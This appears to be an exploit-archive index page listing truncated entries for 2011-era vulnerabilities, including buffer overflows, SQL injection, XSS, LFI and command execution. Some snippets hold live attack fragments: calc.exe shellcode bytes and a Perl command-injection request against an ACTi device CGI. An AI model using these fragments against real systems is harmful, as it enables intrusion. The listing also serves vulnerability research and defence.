A-PDF All to MP3 Converter 2.0.0 - DEP Bypass

A-PDF All to MP3 Converter 2.0.0 - DEP Bypass Exploit Title: A-PDF All to MP3 Converter v.2.0.0 DEP Bypass Software Link: http://www.a-pdf.com/all-to-mp3/download.htm Version: 2.0.0 Tested on: Win XP SP3 French Date: 12/05/2011 Author: h1ch4m Email: [email protected] Home:...

WordPress '.phtml'文件任意文件上传漏洞

Bugtraq ID: 47709 WordPress是一款流行的blog系统。 应用程序不正确校验上传的文件，通过上传附加".gif"文件扩展的.phtml文件可执行任意PHP代码。 要成功利用漏洞需要在后端拥有"Author"权限，而且Apache没有配置处理类似".jpg"或".gif"扩展的mime-type媒介文件。 WordPress 3.1.2 目前没有详细解决方案提供： http://wordpress.org/...

Time And Expense Management System Cross Site Scripting

------------------------------------------------------------------------ Software................Time and Expense Management System Vulnerability...........Reflected Cross-site Scripting Threat Level............Low 1/5 Download................http://sourceforge.net/projects/tems/ Discovery...

DSA-2229-1 spip - programming error

Bulletin has no description...

Subtitle Processor 7.7.1 SEH Unicode Buffer Overflow Exploit

Exploit for windows platform in category local exploits !/usr/bin/python I wanted to first of all thank all the people who took the time to help me. Peter Van Eeckhoutte AKA corelanc0d3r. Awesome tutorials and thanks for putting up with me! Jason Kratzer. Thanks a lot for helping me finish this...

phpwcms 1.4.7 Cross Site Request Forgery

Exploit Title: phpwcms v1.4.7 XSRF VulnerabilityAdd Admin User + Author : ^Xecuti0n3r + E-mail : xecuti0n3ryahoo.com + Category : Web Apps XSRF + Dork : intext:"phpwcms Copyright" + Download Link : http://phpwcms.googlecode.com/files/phpwcmsr412.zip + PHPCMS Official website :...

phpMyChat Plus 1.93 Cross Site Scripting

------------------------------------------------------------------------ Software................phpMyChat Plus 1.93 Vulnerability...........Reflected Cross-site Scripting Threat Level............Low 1/5 Download................http://sourceforge.net/projects/phpmychat/ Discovery...

Win64 bit/xp Calculator Shellcode

+Exploit Title: Win64 bit/xp Calculator Shellcode +Author : ^Xecuti0N3r +Tested On : WIN64-XP include include include int main char shellc = "\xeb\x16\x5b\x50\x88\x43\x09\x53\xbb\x0d\x25\x86\x7c\xff\xd3\x31\xc0\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff" "\x63\x61\x6c\x63\x2e" "\x65\x78\x65"...

Wordtrainer 3.0 Buffer Overflow

!/usr/bin/python +Exploit Title: Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability +Date: 12\04\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.wordtrainer.net/software/files/wt307shwexe/wt307shw.exe +Version: 3.0 +Tested On: WIN-XP SP3 Brazilian Portuguese +CVE: N/A from struct impo...

vtiger CRM 5.2.1 Local File Inclusion

------------------------------------------------------------------------ Software................vtiger CRM 5.2.1 Vulnerability...........Local File Inclusion Threat Level............Critical 4/5 Download................http://www.vtiger.com/ Discovery Date..........4/5/2011 Tested...

Word List Builder 1.0 Buffer Overflow

Exploit Title: Word List Builder Buffer Overflow ExploitSEH Software Link: http://download.cnet.com/Word-List-Builder/3000-185414-10398336.html Version: 1.0 triggering details : open .dic file Tested on: Win XP SP3 French Date: 31/03/2011 Author: h1ch4m Hicham Oumounid Email: [email protected] Home:...

Word List Builder - Local Buffer Overflow (SEH)

Word List Builder - Local Buffer Overflow SEH Exploit Title: Word List Builder Buffer Overflow ExploitSEH Software Link: http://download.cnet.com/Word-List-Builder/3000-185414-10398336.html Version: 1.0 triggering details : open .dic file Tested on: Win XP SP3 French Date: 31/03/2011 Author: h1ch...

ACTi ASOC 2200 Web Configurator <= v2.6 Root Command Execution

Exploit for hardware platform in category remote exploits !perl ACTi ASOC 2200 Web Configurator + ACTi ASOC 2200 Web Configurator \n"; exit; if! $ARGV1 $cmd = "id"; my $result = get"http://$host/cgi-bin/test?iperf=;$cmd &"; if defined $result print " $cmd\n $result"; else print "- Not...

Tugux CMS 1.0_final - Multiple Vulnerabilities

Tugux CMS 1.0final - Multiple Vulnerabilities +----------------------------------------------+ | Tugux CMS 1.0final Multiple Vulnerabilities | +----------------------------------------------+ Vulnerable Web-App : Tugux CMS 1.0final Vulnerability : Multiple Vulnerabilities. Author : Aodrulez. Atul...

If-CMS 2.07 Local File Inclusion

!/usr/bin/python INFORMATION Exploit Title: If-CMS 2.07 Pre-Auth Local File Inclusion 0day Exploit Author: TecR0c Date: 13/3/2011 Software link: http://bit.ly/hh9ZB4 Tested on: Linux bt Version: 2.07 PHP.ini Settings: gpcmagicquotes = Off import...

ABBS Audio Media Player 3.0 - .lst Local Buffer Overflow (SEH)

ABBS Audio Media Player 3.0 - .lst Local Buffer Overflow SEH Exploit Title: ABBS Audio Media Player Buffer Overflow Exploit SEH Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip Version: 3.0 Tested on: Win XP SP3 French Date: 14/03/2011 Author: h1ch4m Email: [email protected] Home:...

ABBS Audio Media Player 3.0 - '.lst' Local Buffer Overflow (SEH)

Exploit Title: ABBS Audio Media Player Buffer Overflow Exploit SEH Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip Version: 3.0 Tested on: Win XP SP3 French Date: 14/03/2011 Author: h1ch4m Email: [email protected] Home: http://net-effects.blogspot.com my $file= "exploit.lst"; my $size =...

Nokia N97 - .m3u Playlist Crash (PoC)

Nokia N97 - .m3u Playlist Crash PoC !/usr/bin/perl Title : Nokia N97 PlayList M3U Crash PoC Author : KedAns-Dz E-mail : [email protected] Home : HMD/AM 30008/04300 - Algeria -00213555248701 Twitter page : twitter.com/kedans platform : hardware Impact : Crashs & Reboot Some Times Rebooted Tested o...

cChatBox for vBulletin 3.6.83.7.x - SQL Injection

cChatBox for vBulletin 3.6.83.7.x - SQL Injection !/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent-new; $ua-agent"MyApp/0.1 "; print "\n"; print " EXPLOIT \n"; print "\n"; print " Portal: cchatbox \n"; print " Bug: SQLI \n"; print " Author: DSecurity \n"; print " Coder: vv0lll \n"; print...

cChatBox for vBulletin 3.6.8/3.7.x - SQL Injection

!/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent-new; $ua-agent"MyApp/0.1 "; print "\n"; print " EXPLOIT \n"; print "\n"; print " Portal: cchatbox \n"; print " Bug: SQLI \n"; print " Author: DSecurity \n"; print " Coder: vv0lll \n"; print "\n"; print "Use: exploit.pl address numberuser...